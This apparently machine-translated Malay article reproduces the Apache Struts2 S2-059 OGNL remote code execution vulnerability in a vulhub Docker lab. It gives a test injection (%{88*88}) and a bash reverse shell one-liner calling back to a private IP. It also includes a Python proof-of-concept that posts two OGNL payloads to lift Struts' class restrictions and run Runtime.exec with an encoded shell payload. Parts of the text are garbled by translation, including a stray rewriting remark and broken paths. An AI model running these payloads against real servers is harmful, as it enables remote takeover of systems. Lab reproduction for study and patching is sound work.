Rumah > Artikel > Operasi dan penyelenggaraan > Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula?
Struts2 ialah rangka kerja sumber terbuka Web Java yang sangat berkuasa yang dilancarkan oleh organisasi perisian Apache, yang pada asasnya bersamaan dengan servlet. Struts2 adalah berdasarkan seni bina MVC dan mempunyai struktur rangka kerja yang jelas. Ia biasanya digunakan sebagai pengawal untuk mewujudkan interaksi data antara model dan pandangan, dan digunakan untuk mencipta aplikasi web Java peringkat perusahaan Ia menggunakan dan memanjangkan Java Servlet API dan menggalakkan pembangun untuk mengguna pakai seni bina MVC. Struts2 mengambil idea reka bentuk cemerlang WebWork sebagai teras, menyerap beberapa kelebihan rangka kerja Struts dan menyediakan rangka kerja aplikasi Web yang lebih kemas yang dilaksanakan dalam corak reka bentuk MVC.
Penyerang boleh membina ungkapan OGNL yang berniat jahat dan menetapkannya untuk diubah suai oleh input luaran, dan ungkapan OGNL akan dilaksanakan Nilai atribut bagi teg Struts2 mencetuskan penghuraian ekspresi OGNL, akhirnya menyebabkan pelaksanaan kod jauh.
Struts 2.0.0 – Struts 2.5.20
1. Persekitaran kerentanan ini dibina dengan cepat menggunakan vulhub Alamat muat turun vulhub adalah seperti berikut:
https://github.com/vulhub/vulhub
cd vulhub-master/. struts2/s2-059
2 Gunakan docker-compose untuk membina persekitaran jarak menembak dengan cepat
docker-compose up -d
3 Selepas permulaan selesai, lawati http://ip:8080/?id=1 dalam penyemak imbas dan anda boleh melihat antara muka ujian
1 Lawati http://ip:8080/?id=%25{88*88} dalam penyemak imbas, anda boleh temui. bahawa 88*88 yang dilaksanakan berjaya dihuraikan dan OGNL akan dilaksanakan Nilai atribut teg Struts2 bagi ungkapan mencetuskan penghuraian ungkapan OGNL.
2. Gunakan poc untuk melantunkan shell Muatan shell lantunan perlu dikodkan base64
bash -i >& /dev/. tcp/172.16. 1.132/9967 0>&1
URL dikodkan base64:
Ayat asal sudah menjadi ayat lengkap yang menyediakan pautan jika saya menulis semula, boleh jadi sesuatu seperti: Berikut ialah pautan ke halaman web yang mengandungi maklumat tentang muatan runtime exec: http://www.jackson-t.ca/runtime-exec-payloads.html.
import requests url = "http://127.0.0.1:8080" data1 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}" } data2 = { "id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('payload-base64编码'))}" } res1 = requests.post(url, data=data1) res2 = requests.post(url, data=data2) |
3. Ubah suai muatan dalam poc kepada muatan anda sendiri, dan kemudian jalankannya menggunakan ular sawa anda boleh melihat bahawa cangkerang itu dipantulkan semula
Atas ialah kandungan terperinci Bagaimanakah kerentanan pelaksanaan kod jauh Struts2 S2-059 menghasilkan semula?. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!